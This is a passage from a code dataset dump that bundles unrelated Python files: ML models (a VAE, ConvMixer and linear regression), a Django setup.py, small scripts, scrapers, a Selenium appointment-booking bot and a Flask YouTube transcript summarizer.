self.act(x)\n return x\n\n\nclass VAE5(nn.Module):\n \"\"\"\n VAE. Vector Quantised Variational Auto-Encoder.\n\n Refs:\n - https://github.com/nakosung/VQ-VAE/blob/master/model.py\n - https://github.com/JunhongXu/world-models-pytorch/blob/master/vae.py\n \"\"\"\n\n def __init__(self, image_size=64, z_dim=32, conv_dim=64, code_dim=16, k_dim=256, channels=3):\n \"\"\"\n Args:\n - image_size (int) height and weight of image\n - conv_dim (int) the amound of output channels in the first conv layer (all others are multiples)\n - z_dim (int) the channels in the encoded output\n - code_dim (int) the height and width in the encoded output\n - k_dim (int) dimensions of the latent vector\n \"\"\"\n super().__init__()\n\n self.k_dim = k_dim\n self.z_dim = z_dim\n self.code_dim = code_dim\n\n hidden_size = z_dim * code_dim * code_dim\n latent_vector_dim = k_dim\n self.logvar = nn.Linear(hidden_size, latent_vector_dim)\n self.mu = nn.Linear(hidden_size, latent_vector_dim)\n self.z = nn.Linear(latent_vector_dim, hidden_size)\n\n nn.init.xavier_uniform_(self.logvar.weight)\n nn.init.xavier_uniform_(self.mu.weight)\n nn.init.xavier_uniform_(self.z.weight)\n\n # Encoder (increasing #filter linearly)\n layers = []\n layers.append(ConvBlock4(channels, conv_dim, kernel_size=3, padding=1))\n\n repeat_num = int(math.log2(image_size / code_dim))\n curr_dim = conv_dim\n for i in range(repeat_num):\n layers.append(ConvBlock4(curr_dim, conv_dim * (i + 2), kernel_size=4, stride=2, padding=1))\n curr_dim = conv_dim * (i + 2)\n\n # Now we have (code_dim,code_dim,curr_dim)\n layers.append(nn.Conv2d(curr_dim, z_dim, kernel_size=1))\n\n # (code_dim,code_dim,z_dim)\n self.encoder = nn.Sequential(*layers)\n\n # Decoder (320 - 256 - 192 - 128 - 64)\n layers = []\n\n layers.append(DeconvBlock4(z_dim, curr_dim, kernel_size=1))\n\n for i in reversed(range(repeat_num)):\n layers.append(DeconvBlock4(curr_dim, conv_dim * (i + 1), kernel_size=4, stride=2, padding=1))\n curr_dim = conv_dim * (i + 1)\n\n layers.append(nn.Conv2d(curr_dim, channels, kernel_size=3, padding=1))\n self.decoder = nn.Sequential(*layers)\n\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x):\n \"\"\"Returns reconstructed image, mean, and log variance.\"\"\"\n mu, logvar = self.encode(x)\n z = self.sample(mu, logvar)\n x = self.decode(z)\n return x, mu, logvar\n\n def encode(self, x):\n \"\"\"Returns mean and log variance, which describe the distributions of Z\"\"\"\n x = self.encoder(x)\n x = x.view(x.size()[0], -1)\n return self.mu(x), self.logvar(x).clamp(np.log(eps), -np.log(eps))\n\n def decode(self, z):\n \"\"\"Reconstruct image X using z sampled from Z.\"\"\"\n z = self.z(z)\n n, d = z.size()\n z = z.view(n, -1, self.code_dim, self.code_dim)\n reconstruction = self.decoder(z)\n reconstruction = self.sigmoid(reconstruction)\n return reconstruction\n\n def sample(self, mu, logvar):\n \"\"\"Sample z from Z.\"\"\"\n if self.training:\n std = logvar.exp()\n std = std * Variable(std.data.new(std.size()).normal_())\n return mu + std\n else:\n return mu\n\n def loss(self, *args, **kwargs):\n return loss_function_vae(*args, **kwargs)\n\n\ndef loss_function_vae(recon_x, x, mu, logvar):\n # Reconstruction + KL divergence losses summed over all elements and batch\n # https://github.com/pytorch/examples/blob/master/vae/main.py\n n, c, h, w = recon_x.size()\n\n recon_x = recon_x.view(n, -1)\n x = x.view(n, -1)\n\n # L2 distance\n loss_recon = F.mse_loss(x, recon_x, reduce=False).sum(1)\n\n # see Appendix B from VAE paper:\n # Kingma and Welling. Auto-Encoding Variational Bayes. ICLR, 2014\n # https://arxiv.org/abs/1312.6114\n # 0.5 * sum(1 + log(sigma^2) - mu^2 - sigma^2)\n loss_KLD = -0.5 * torch.sum(1 + logvar - mu.pow(2) - logvar.exp(), 1)\n return loss_recon, loss_KLD\n","repo_name":"wassname/world-models-sonic-pytorch","sub_path":"world_models_sonic/models/vae.py","file_name":"vae.py","file_ext":"py","file_size_in_byte":5696,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"37"} +{"seq_id":"40962365931","text":"#!/usr/bin/env python\nimport re\nfrom pathlib import Path\n\nfrom setuptools import find_packages, setup\n\n\ndef read(*parts):\n file_path = Path(__file__).parent.joinpath(*parts)\n with open(file_path) as f:\n return f.read()\n\n\ndef find_version(*parts):\n version_file = read(*parts)\n version_match = re.search(r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\", version_file, re.M)\n if version_match:\n return str(version_match.group(1))\n raise RuntimeError(\"Unable to find version string.\")\n\n\ntests_require = [\n \"django-environ >= 0.4.5\",\n \"psycopg2-binary >= 2.8.4\",\n \"lxml >= 4.5.0\",\n \"pytest >= 6.2.3\",\n \"pytest-django >= 4.1.0\",\n \"pytest-cov >= 2.11.1\",\n]\n\n\nsetup(\n name=\"django-gisserver\",\n version=find_version(\"gisserver\", \"__init__.py\"),\n license=\"Mozilla Public License 2.0\",\n install_requires=[\n \"Django >= 3.2\",\n \"defusedxml >= 0.6.0\",\n \"lru_dict >= 1.1.7\",\n \"orjson >= 2.4.0\",\n ],\n tests_require=tests_require,\n extras_require={\n \"tests\": tests_require,\n },\n requires=[\"Django (>=3.2)\"],\n description=\"Django speaking WFS 2.0 (exposing GeoDjango model fields)\",\n long_description=read(\"README.md\"),\n long_description_content_type=\"text/markdown\",\n author=\"Diederik van der Boor\",\n author_email=\"opensource@edoburu.nl\",\n url=\"https://github.com/amsterdam/django-gisserver\",\n packages=find_packages(exclude=(\"tests*\", \"example*\"), include=(\"gisserver*\")),\n include_package_data=True,\n zip_safe=False,\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"Environment :: Web Environment\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: Mozilla Public License 2.0 (MPL 2.0)\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n \"Programming Language :: Python :: 3.10\",\n \"Framework :: Django\",\n \"Framework :: Django :: 3.2\",\n \"Framework :: Django :: 4.0\",\n \"Framework :: Django :: 4.2\",\n \"Topic :: Internet :: WWW/HTTP\",\n \"Topic :: Internet :: WWW/HTTP :: Dynamic Content\",\n \"Topic :: Software Development :: Libraries :: Application Frameworks\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n python_requires=\">=3.6\",\n)\n","repo_name":"Amsterdam/django-gisserver","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"37"} +{"seq_id":"4314540308","text":"from menu import Menu, MenuItem\nfrom coffee_maker import CoffeeMaker\nfrom money_machine import MoneyMachine\n\n\nmenu = Menu()\nmachine = CoffeeMaker()\ncoin_machine = MoneyMachine()\n\ndef prepare_coffee(order_name: str, is_on: bool = True):\n order = menu.find_drink(order_name)\n\n payment = coin_machine.make_payment(order.cost)\n\n if payment < order.cost:\n print(f\"Please add more coins to order a coffee.\")\n return None\n if machine.is_resource_sufficient(order):\n coffee = machine.make_coffee(order)\n print(machine.report())\n return coffee\n\n else:\n return None\n\n# user_input = str(input(\"What would you like? (espresso/latte/cappuccino): \"))\n# prepare_coffee(user_input)\n","repo_name":"marcossantanaioc/100dayscode","sub_path":"Intermediate/16_OOP/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36314427911","text":"\"\"\"\n14. Longest Common Prefix\nWrite a function to find the longest common prefix string amongst an array of strings.\n\nIf there is no common prefix, return an empty string \"\".\n\n \n\nExample 1:\n\nInput: strs = [\"flower\",\"flow\",\"flight\"]\nOutput: \"fl\"\nExample 2:\n\nInput: strs = [\"dog\",\"racecar\",\"car\"]\nOutput: \"\"\n\"\"\"\n\nclass Solution:\n def longestCommonPrefix(self, strs: List[str]) -> str:\n \n size = len(strs)\n if size == 0: return \"\"\n if size == 1: return strs[0]\n \n strs.sort()\n\n end = len(min(strs, key=len))\n \n i = 0\n \n while i < end and strs[0][i] == strs[size - 1][i]:\n i+= 1\n\n return strs[0][0: i]\n ","repo_name":"akashkumarbtc/Data-Structures-and-Algo","sub_path":"longest_common_prefix.py","file_name":"longest_common_prefix.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33292670216","text":"import requests\n\nfrom bs4 import BeautifulSoup\n\n\ndef translate_message(id, file, mtext):\n '''\n Function that parses web-page for giving translations and examples.\n '''\n first_language = file[id][0]\n second_language = file[id][1]\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:45.0) Gecko/20100101 Firefox/45.0'\n }\n URL = f'https://context.reverso.net/translation/{first_language}-{second_language}/{mtext}'\n\n try:\n response = requests.get(URL, headers=headers) # send request\n if response.status_code == 200:\n # print(response.status_code, 'OK')\n pass\n except requests.exceptions.ConnectionError:\n return \"No connection with server\", \"ERROOOOOR!\"\n soup = BeautifulSoup(response.text, \"html.parser\") # parse web page\n word_list = soup.find(id=\"translations-content\").get_text().split(\"\\n\")\n word_list = [item.strip() for item in word_list if item != \"\"]\n example_list = soup.find(id=\"examples-content\").get_text().split(\"\\n\")\n # ATTENTION! MAGICAL CONSTANT! Removes trash from the end of list\n example_list = [item.strip() for item in example_list if item != \"\"][:-7]\n\n translation_text = f'*\\n{second_language} translations:*\\n'.title()\n for translation in word_list:\n if len(translation) > 0:\n translation_text += f'`{translation}\\n`'\n while '' in example_list:\n example_list.remove('')\n i = 0\n example_text = '*Examples:*\\n\\n'\n exlen = len(example_list)\n example = ''\n while i < exlen:\n # Formatting with markdown for beautidul output\n if i % 2:\n example = '`{}:`\\n'.format(example_list[i])\n else:\n example = '*{}:*'.format(example_list[i])\n\n example_text += example + '\\n'\n i += 1\n return translation_text, example_text\n","repo_name":"alexander-deb/translator-with-examples","sub_path":"translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44245195628","text":"#!/usr/bin/python3\nimport os\nimport argparse\nfrom robotpkg_helpers import HandlingImgs\n\nclass RpkghCreateRamfsDir():\n\n def __init__(self):\n self.handle_options()\n self.create_ramfs_dir()\n \n\n def handle_options(self):\n parser = argparse.ArgumentParser(description='Create a ramfs mounting point (default: /integration_tests/robotpkg-test-rc)')\n\n parser.add_argument(\"-m\", \"--ramfsmntpt\", dest=\"sub_ramfsmntpt\", action=\"store\",\n default=\"robotpkg-test-rc\",nargs=1,\n help='Subdirectory in ROBOTPKG_MNG_ROOT to compress \\n(default:robotpkg-test-rc)')\n\n parser.add_argument(\"-r\", \"--rpkgmngroot\", dest=\"rpkgmngroot\", action=\"store\",\n default=\"/integration_tests\", nargs=1,\n help='Directory corresponding to ROBOTPKG_MNG_ROOT \\n(default: /integration_tests)')\n\n parser.parse_args(namespace=self)\n \n if isinstance(self.sub_ramfsmntpt,list):\n self.sub_ramfsmntpt=self.sub_ramfsmntpt[0]\n\n if isinstance(self.rpkgmngroot,list):\n self.rpkgmngroot=self.rpkgmngroot[0]\n \n def create_ramfs_dir(self):\n \n aHandlingImgs = HandlingImgs(\n ROBOTPKG_MNG_ROOT=self.rpkgmngroot,\n sub_ramfs_mnt_pt=self.sub_ramfsmntpt)\n\n aHandlingImgs.create_ramfs_dir()\n\n\nif __name__ == \"__main__\":\n aRpkghCreateRamfsDir = RpkghCreateRamfsDir()\n\n","repo_name":"olivier-stasse/robotpkg_helpers","sub_path":"tools/rpkgh_create_ram_fs.py","file_name":"rpkgh_create_ram_fs.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3685052834","text":"class Solution:\n def isPowerOfFour(self, n: int) -> bool:\n if n <= 0:\n return False\n while n % 4 == 0:\n n /= 4\n return n == 1\n \n def isPowerOfFour2(self, n: int) -> bool:\n if n <= 0:\n return False\n \n if n & (n-1) != 0: # n is not a power of 2\n return False\n \n power4Positions = 0b01010101010101010101010101010101 # 32 bits\n res = (power4Positions | n == power4Positions) # power of 4?\n return res","repo_name":"jathurchan/divecode.io","sub_path":"solutions/python/00342-power-of-four.py","file_name":"00342-power-of-four.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10375473055","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nn, m = map(int, input().split())\r\ndic = {}\r\n\r\nfor i in range(1, n + 1):\r\n s = input().rstrip()\r\n dic[i] = s\r\n dic[s] = i\r\n\r\nfor i in range(m):\r\n s = input().rstrip()\r\n if s.isdigit():\r\n print(dic[int(s)])\r\n else:\r\n print(dic[s])\r\n\r\n","repo_name":"yejin7211/Algorithm","sub_path":"백준/Silver/1620. 나는야 포켓몬 마스터 이다솜/나는야 포켓몬 마스터 이다솜.py","file_name":"나는야 포켓몬 마스터 이다솜.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21549270287","text":"from selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\n\n\"\"\"\nEsta clase se encarga de navegar sobre el calendario y \nverificar si hay dias y horarios disponibles.\nfind_date(): Busca los dias que esten en en color verde, \nesto devuelve un array y lo guarda en la variable available_days.\nLuego se recorren los dias disponibles, se hace click en cada uno\nse guarda un array con los horarios disponibles de ese dia en available_times \ny se los comienza a recorrer, se hace click en el primero y se intenta reservar el horario\n\"\"\"\n\nclass Calendar_navigator:\n def __init__(self, driver, set_state_app):\n self.driver = driver\n self.set_state_app = set_state_app\n self.time = time\n\n def find_date(self):\n self.set_state_app(\"Buscando turno en calendario...\")\n self.time.sleep(5)\n\n while True:\n try:\n # Look for an available dates and click\n available_days = self.driver.find_elements(\n By.XPATH, '//td[@class=\"day availableDay\"]'\n )\n cant_dias_disponibles = len(available_days)\n if cant_dias_disponibles == 0:\n self.set_state_app(\"No se encontraron días disponibles en este mes\")\n # Click on next button\n self.driver.find_element(\n By.CLASS_NAME, 'dtpicker-next'\n ).click()\n self.set_state_app(\"Buscando en el mes siguiente...\")\n continue\n self.set_state_app(\"Se encontraron \" + str(cant_dias_disponibles) + \" días en verde\")\n\n for day in available_days:\n print(\"Empezando a recorrer array de días en verde\")\n day.click()\n self.set_state_app(\"Se seleccionó un día\")\n self.time.sleep(5)\n\n available_times = self.driver.find_elements(\n By.XPATH, '//div[@class=\"fascia act\"]'\n )\n cant_horarios_disponibles = len(available_times)\n if cant_horarios_disponibles == 0:\n self.set_state_app(\"No se encontraron horarios disponibles en este día\")\n self.set_state_app(\"Buscando en el día siguiente...\")\n continue\n\n self.set_state_app(\"Se encontraron \" + str(cant_horarios_disponibles) + \" horarios disponibles\")\n\n # Search if there is a schedule available and click\n for time in available_times:\n print(\"Empezando a recorrer el array de horarios\")\n time.click()\n self.set_state_app(\"Se seleccionó un horario\")\n submit_btn = self.driver.find_element(By.ID, 'btnPrenota')\n print(\"Se encontró el botón de prenota\")\n submit_btn.click()\n\n # Check if the booking was successful\n if self.is_booking_successful():\n return\n\n except Exception as e:\n self.set_state_app(\"ERROR: al encontrar días en verde u horario libre\")\n print(str(e))\n break\n\n # def is_booking_successful(self):\n # tODO: Implementar la lógica para verificar si la reserva fue exitosa\n # Puedes utilizar los métodos y atributos del driver para verificar si la reserva se realizó correctamente\n # Por ejemplo, puedes buscar elementos en la página que indiquen que la reserva fue exitosa y retornar True\n # si los encuentras, o retornar False si no los encuentras o si ocurre algún error.\n # Aquí puedes agregar tu lógica personalizada para verificar si la reserva fue exitosa.\n # Si la reserva fue exitosa, puedes realizar las acciones necesarias y retornar True.\n # Si la reserva no fue exitosa o si ocurre algún error, puedes retornar False.\n # return False\n\n\n\n# class Calendar_navigator :\n# def __init__(self, driver, set_state_app) :\n# self.driver = driver\n# self.set_state_app = set_state_app\n# self.time = time\n\n# def find_date(self) :\n# self.set_state_app(\"Buscando turno en calendario...\")\n# self.time.sleep(5)\n\n# while True :\n# try:\n# # Look for an available dates and click\n# available_days = self.driver.find_elements(\n# \"xpath\", '//td[@class=\"day availableDay\"]'\n# )\n# cant_dias_disponibles = len(available_days)\n# if cant_dias_disponibles == 0 :\n# self.set_state_app(\"No se encontraron dias disponibles en este mes\")\n# # Click on next button\n# self.driver.find_element(\n# \"class\", 'dtpicker-next'\n# ).click()\n# self.set_state_app(\"Buscando en el mes siguiente...\")\n# pass\n# self.set_state_app(\"se encontraron \" + str(cant_dias_disponibles) + \" dias en verde\")\n\n# for day in available_days:\n# print(\"empezando a recorrer array de dias en verde\")\n# day.click()\n# self.set_state_app(\"Se selecciono un dia\")\n# self.time.sleep(5)\n\n# available_times = self.driver.find_elements(\n# \"xpath\", '//div[@class=\"fascia act\"]'\n# )\n# cant_horarios_disponibles = len(available_times)\n# if cant_horarios_disponibles == 0 :\n# self.set_state_app(\"No se encontraron horarios disponibles en este dia\")\n# self.set_state_app(\"Buscando en el dia siguiente...\")\n# pass\n\n# self.set_state_app(\"se encontraron \" + str(cant_horarios_disponibles) + \" horarios en disponibles\")\n \n# # Search if there is a schedules available and click\n# for time in available_times :\n# print(\"empezando a recorrer el array de horarios\")\n# time.click()\n# self.set_state_app(\"Se selecciono un horario\")\n# submit_btn = self.driver.find_element('id', 'btnPrenota')\n# print(\"se encontro el boton de prenota\")\n# submit_btn.click()\n \n# # break\n\n# except:\n# self.set_state_app(\"ERROR: al encontrar dias en verde u horario libre\")\n# break\n\n\n\n\n # Click on next button\n # self.driver.find_element(\n # \"class\", 'dtpicker-next'\n # ).click()\n","repo_name":"leandrocarriego/automatizacion-turnos","sub_path":"actions/Driver/actuators/Calendar_navigator.py","file_name":"Calendar_navigator.py","file_ext":"py","file_size_in_byte":7106,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28764581964","text":"from tensorflow.keras import layers\nfrom tensorflow import keras\nimport tensorflow as tf\n\nlearning_rate = 0.001\nweight_decay = 0.0001\nbatch_size = 128\nnum_epochs = 10\nimage_size = 32\nauto = tf.data.AUTOTUNE\n\n\ndef load_cifar10_dataset(validation_split=0.1):\n \"\"\"\n Loads the dataset used for training the network\n :return: the dataset split in train, valid and test\n \"\"\"\n (x_train, y_train), (x_test, y_test) = keras.datasets.cifar10.load_data()\n val_split = validation_split\n\n val_indices = int(len(x_train) * val_split)\n new_x_train, new_y_train = x_train[val_indices:], y_train[val_indices:]\n x_val, y_val = x_train[:val_indices], y_train[:val_indices]\n\n print(f\"Training data samples: {len(new_x_train)}\")\n print(f\"Validation data samples: {len(x_val)}\")\n print(f\"Test data samples: {len(x_test)}\")\n\n return new_x_train, new_y_train, x_val, y_val, x_test, y_test\n\n\ndef specify_data_augmentation():\n \"\"\"\n Setup data augmentation steps\n :return: the data augmentation layer\n \"\"\"\n\n data_augmentation = keras.Sequential(\n [layers.RandomCrop(image_size, image_size), layers.RandomFlip(\"horizontal\"), ],\n name=\"data_augmentation\",\n )\n\n return data_augmentation\n\n\ndef make_datasets(images, labels, data_augmentation, is_train=False):\n \"\"\"\n Generates the datasets\n :param images:\n :param labels:\n :param data_augmentation:\n :param is_train:\n :return:\n \"\"\"\n dataset = tf.data.Dataset.from_tensor_slices((images, labels))\n if is_train:\n dataset = dataset.shuffle(batch_size * 10)\n dataset = dataset.batch(batch_size)\n if is_train:\n dataset = dataset.map(\n lambda x, y: (data_augmentation(x), y), num_parallel_calls=auto\n )\n return dataset.prefetch(auto)\n\n\ndef activation_block(x):\n x = layers.Activation(\"gelu\")(x)\n return layers.BatchNormalization()(x)\n\n\ndef conv_stem(x, filters: int, patch_size: int):\n x = layers.Conv2D(filters, kernel_size=patch_size, strides=patch_size)(x)\n return activation_block(x)\n\n\ndef conv_mixer_block(x, filters: int, kernel_size: int):\n # Depthwise convolution.\n x0 = x\n x = layers.DepthwiseConv2D(kernel_size=kernel_size, padding=\"same\")(x)\n x = layers.Add()([activation_block(x), x0]) # Residual.\n\n # Pointwise convolution.\n x = layers.Conv2D(filters, kernel_size=1)(x)\n x = activation_block(x)\n\n return x\n\n\ndef get_conv_mixer_256_8(image_size=32, filters=256, depth=8, kernel_size=5,\n patch_size=2, num_classes=10):\n \"\"\"ConvMixer-256/8: https://openreview.net/pdf?id=TVHS5Y4dNvM.\n The hyper parameter values are taken from the paper.\n \"\"\"\n inputs = keras.Input((image_size, image_size, 3))\n x = layers.Rescaling(scale=1.0 / 255)(inputs)\n\n # Extract patch embeddings.\n x = conv_stem(x, filters, patch_size)\n\n # ConvMixer blocks.\n for _ in range(depth):\n x = conv_mixer_block(x, filters, kernel_size)\n\n # Classification block.\n x = layers.GlobalAvgPool2D()(x)\n outputs = layers.Dense(num_classes, activation=\"softmax\")(x)\n\n return keras.Model(inputs, outputs)\n","repo_name":"Stocastico/computer_vision_various","sub_path":"ConvMixerKeras/conv_mixer.py","file_name":"conv_mixer.py","file_ext":"py","file_size_in_byte":3136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4257918097","text":"# 线性回归就是最简单的只有一个神经元的神经网络\r\nimport torch\r\n\r\n# 1.准备数据集\r\nx_data = torch.Tensor([[1.0], [2.0], [3.0]]) # 3*1的矩阵\r\ny_data = torch.Tensor([[2.0], [4.0], [6.0]])\r\n\r\n\r\n# 2.设计模型\r\nclass LinearModel(torch.nn.Module): #由Model构造出的对象会自动实现反向传播过程,nn->Neural Network\r\n def __init__(self):\r\n super(LinearModel, self).__init__()\r\n self.linear = torch.nn.Linear(1, 1) #(in_features_size, out_features_size)(Linear也继承自Model)\r\n\r\n # 重载\r\n def forward(self, x): # 前馈\r\n y_pred = self.linear(x)\r\n return y_pred\r\n\r\n\r\nmodel = LinearModel()\r\n\r\n# 3.构造损失函数和优���器\r\ncriterion = torch.nn.MSELoss(size_average=False)\r\noptimizer = torch.optim.SGD(model.parameters(), lr=0.01)\r\n\r\n# 4.训练循环\r\nfor epoch in range(1000):\r\n y_pred = model(x_data)\r\n loss = criterion(y_pred, y_data) #前馈\r\n print(epoch, loss)\r\n\r\n optimizer.zero_grad() #梯度清零\r\n loss.backward() #反向传播\r\n optimizer.step() #更新\r\n\r\nprint('w = ', model.linear.weight.item())\r\nprint('b = ', model.linear.bias.item())\r\n\r\nx_test = torch.Tensor([[4.0]])\r\ny_test = model(x_test)\r\nprint('y_pred = ', y_test.data)","repo_name":"bljessica/machine-learning-practices","sub_path":"studying-practices/linear-regression.py","file_name":"linear-regression.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31447440107","text":"from random import choice\nfrom time import sleep\npergunta=\"Que linguagem devo estudar hoje?\"\ndef head(): \n\tprint(\"-\"*len(pergunta)+4*\"-\")\n\tprint(\"☆ {} ☆\".format(pergunta))\n\tprint(\"-\"*len(pergunta)+4*\"-\")\n\tsleep(2)\ndef sorteio():\n\tresult=choice(lista)\n\tprint(\"Você deve aprender...\")\n\tsleep(2)\n\tprint(\"-\"*len(result)+4*\"-\")\n\tprint(\"☆ {} ☆\".format(result))\n\tprint(\"-\"*len(result)+4*\"-\")\nhead()\ntipo=str(input(\"Quero melhorar meu bakckend ou frontend?[B/F]\")).upper().strip()\nwhile tipo!=\"B\" and tipo!=\"F\":\n\tprint(\"Você deve digitar B ou F\")\n\ttipo=str(input(\"Quero melhorar meu bakckend ou frontend?[B/F]\")).upper().strip()\nif tipo==\"B\":\n\tlista=[\"Ruby\", \"Python\", \"PHP\", \"node\", \"Java\"]\n\tsorteio()\nelif tipo==\"F\":\n\tlista=[\"HTML\", \"CSS\", \"JS\"]\n\tsorteio()","repo_name":"ryancosta15/Pythons","sub_path":"langchoice.py","file_name":"langchoice.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"71814665654","text":"from bs4 import BeautifulSoup\nimport urllib.request as req\nimport urllib.parse as rep\nimport sys\nimport io\nimport os\n\nsys.stdout = io.TextIOWrapper(sys.stdout.detach(), encoding = 'utf-8')\nsys.stderr = io.TextIOWrapper(sys.stderr.detach(), encoding = 'utf-8')\n\nsearchName = \"추천-강좌\"\nbase = \"https://www.inflearn.com/\"\nquote = rep.quote_plus(searchName)\nurl = base + quote\n\nres = req.urlopen(url)\nsavePath = \"C:\\\\imageDown\\\\\"\n\ntry:\n if not (os.path.isdir(savePath)):\n os.makedirs(os.path.join(savePath))\nexcept OSError as e:\n if e.errno != errno.EEXIST:\n print(\"폴더 만들기 실패\")\n raise\n\nsoup = BeautifulSoup(res, \"html.parser\")\n\n# recommand_list = soup.select(\"ul.slides\")[0]\n#\n# for i, e in enumerate(recommand_list, 1):\n# with open(savePath + searchName + \"_\" + str(i) + \".txt\", \"wt\") as f:\n# f.write(e.select_one(\"h4.block_title > a\").string)\n#\n# # print(img[\"data-source\"])\n# fullFileName = os.path.join(savePath, savePath + searchName + \"_\" + str(i) + '.png')\n# # print(fullFileName)\n# req.urlretrieve(e.select_one(\".block_media > a > img\")[\"src\"], fullFileName)\n\nstudy = soup.select(\"ul.slides\")[1]\nprint(study)\n\nprint(\"다운로드 완료\")\n","repo_name":"chcjswo/study-python","sub_path":"section2/download-12.py","file_name":"download-12.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73275388214","text":"# YouTubeTranscriptAPI Imports\nfrom time import time\nfrom youtube_transcript_api import YouTubeTranscriptApi, NoTranscriptFound, VideoUnavailable, TooManyRequests, \\\n TranscriptsDisabled, NoTranscriptAvailable\nfrom youtube_transcript_api.formatters import TextFormatter\n\n# Transformers Imports\nfrom transformers import BartTokenizer, BartForConditionalGeneration\nimport torch\n\n# Flask Imports\nfrom flask import Flask, jsonify, request\nfrom flask_cors import CORS\n\nimport time\n\n\napp = Flask(__name__)\nCORS(app)\n\n@app.route('/', methods=['GET'])\ndef index_page():\n return \"Hello world\"\n\ndef get_transcript(video_id):\n # Using Formatter to store and format received subtitles properly.\n formatter = TextFormatter()\n transcript = YouTubeTranscriptApi.get_transcript(video_id)\n formatted_text = formatter.format_transcript(transcript).replace(\"\\n\", \" \")\n return formatted_text\n \n\ndef get_summary(transcript):\n tokenizer = BartTokenizer.from_pretrained(\"./models\")\n model = BartForConditionalGeneration.from_pretrained(\"./models\")\n # tokenize without truncation\n inputs_no_trunc = tokenizer(transcript, max_length=None, return_tensors='pt', truncation=False)\n chunk_start = 0\n chunk_end = tokenizer.model_max_length # == 1024 for Bart\n inputs_batch_lst = []\n size_lst = []\n print(\"Tokenizing\")\n while chunk_start <= len(inputs_no_trunc['input_ids'][0]):\n inputs_batch = inputs_no_trunc['input_ids'][0][chunk_start:chunk_end] # get batch of n tokens\n inputs_batch = torch.unsqueeze(inputs_batch, 0)\n inputs_batch_lst.append(inputs_batch)\n size_lst.append(chunk_end-chunk_start)\n chunk_start += tokenizer.model_max_length # == 1024 for Bart\n chunk_end += tokenizer.model_max_length # == 1024 for Bart\n\n # generate a summary on each batch\n print(\"Generating Summary\")\n summary_ids_lst = [model.generate(inputs, num_beams=4, min_length=size//10, max_length=1000, early_stopping=True) for inputs, size in zip(inputs_batch_lst, size_lst)]\n\n # decode the output and join into one string with one paragraph per summary batch\n print(\"Decoding output\")\n summary_batch_lst = []\n for summary_id in summary_ids_lst:\n summary_batch = [tokenizer.decode(g, skip_special_tokens=True, clean_up_tokenization_spaces=False) for g in summary_id]\n summary_batch_lst.append(summary_batch[0])\n summary_all = ' '.join(summary_batch_lst)\n return summary_all\n\n# Processing Function for below route.\n@app.route('/api/summarize/', methods=['GET'])\ndef transcript_fetched_query():\n start_time = time.time()\n # Getting argument from the request\n print(\"Starting function\")\n video_id = request.args.get('id') # video_id of the YouTube Video\n try:\n transcript = get_transcript(video_id)\n print(\"Transcript done\")\n # Catching Exceptions\n except VideoUnavailable:\n return jsonify(success=False, message=\"VideoUnavailable: The video is no longer available.\",\n response=None), 400\n except TooManyRequests:\n return jsonify(success=False,\n message=\"TooManyRequests: YouTube is receiving too many requests from this IP.\"\n \" Wait until the ban on server has been lifted.\",\n response=None), 500\n except TranscriptsDisabled:\n return jsonify(success=False, message=\"TranscriptsDisabled: Subtitles are disabled for this video.\",\n response=None), 400\n except NoTranscriptAvailable:\n return jsonify(success=False,\n message=\"NoTranscriptAvailable: No transcripts are available for this video.\",\n response=None), 400\n except NoTranscriptFound:\n return jsonify(success=False, message=\"NoTranscriptAvailable: No transcripts were found.\",\n response=None), 400\n except:\n # Prevent server error by returning this message to all other un-expected errors.\n return jsonify(success=False,\n message=\"Some error occurred. Contact the administrator if it is happening too frequently. Failed at get_transcript\",\n response=None), 500\n # return jsonify(success=True, message=\"Subtitles for this video was fetched and summarized successfully.\",\n # response=transcript), 200\n try:\n summary = get_summary(transcript)\n except:\n # Prevent server error by returning this message to all other un-expected errors.\n return jsonify(success=False,\n message=\"Some error occurred.\"\n \" Contact the administrator if it is happening too frequently. Failed at get_summary\",\n response=None), 500\n end = time.time()\n #print(end-start_time)\n return jsonify(success=True, message=\"Subtitles for this video was fetched and summarized successfully.\",\n response=summary), 200\n\nif 